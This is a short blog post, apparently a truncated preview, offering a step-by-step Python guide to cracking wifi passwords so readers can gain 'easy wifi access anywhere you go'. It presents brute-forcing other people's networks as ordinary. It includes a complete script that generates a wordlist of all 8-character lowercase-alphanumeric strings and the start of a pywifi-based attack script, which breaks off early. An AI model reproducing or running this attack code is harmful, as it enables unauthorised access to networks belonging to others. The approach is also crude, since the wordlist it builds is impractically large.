A Step-By-Step Guide to Crack Wifi Password with Python

Peng Cao
3 min readApr 16, 2023

This article aims to guide curious ones like you, techy or non-techy gaining easy wifi access anywhere you go with python. Let’s dive in…

1. Dependency pywifi

pywifi provides a cross-platform Python module for manipulating wireless interfaces. Easy to use; Supports Windows and Linux.

2. Construct a wifi dictionary

Including numbers (0–9), letters (a-z, A-Z), special characters (!@#$%^&*()_+=-)

A normal password consists of 8 characters with only numbers and small letters so we could pick any random combination of those and store them in to a .text file.

import itertools as its
words = "1234567890abcdefghijklmnopqrstuvwxyz" # a set of password characters
r =its.product(words,repeat=8) # random combination of 8 characters
dic = open("pwd.txt","a") # store wifi combinations in file
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()

3. Attack Wifi with Python

create a file main.py

import pywifi
import time
from pywifi import const

# WiFi scanner
def wifi_scan():
# initialise wifi
wifi = pywifi.PyWiFi()
# use the first interface
interface =…

--

--

Peng Cao

Writing programming and tech guide; Help each other with followers, thanks mate! Let's version up @ v2.digital